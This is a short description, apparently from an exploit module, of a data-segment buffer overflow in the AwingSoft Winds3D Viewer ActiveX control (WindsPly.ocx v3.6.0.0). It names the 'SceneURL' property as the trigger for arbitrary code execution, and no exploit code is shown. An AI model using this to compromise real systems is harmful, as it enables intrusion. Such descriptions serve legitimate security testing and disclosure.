     This module exploits a data segment buffer overflow within Winds3D Viewer of
    AwingSoft Awakening 3.x (WindsPly.ocx v3.6.0.0). This ActiveX is a plugin of
    AwingSoft Web3D Player.
    By setting an overly long value to the 'SceneURL' property, an attacker can
    overrun a buffer and execute arbitrary code.
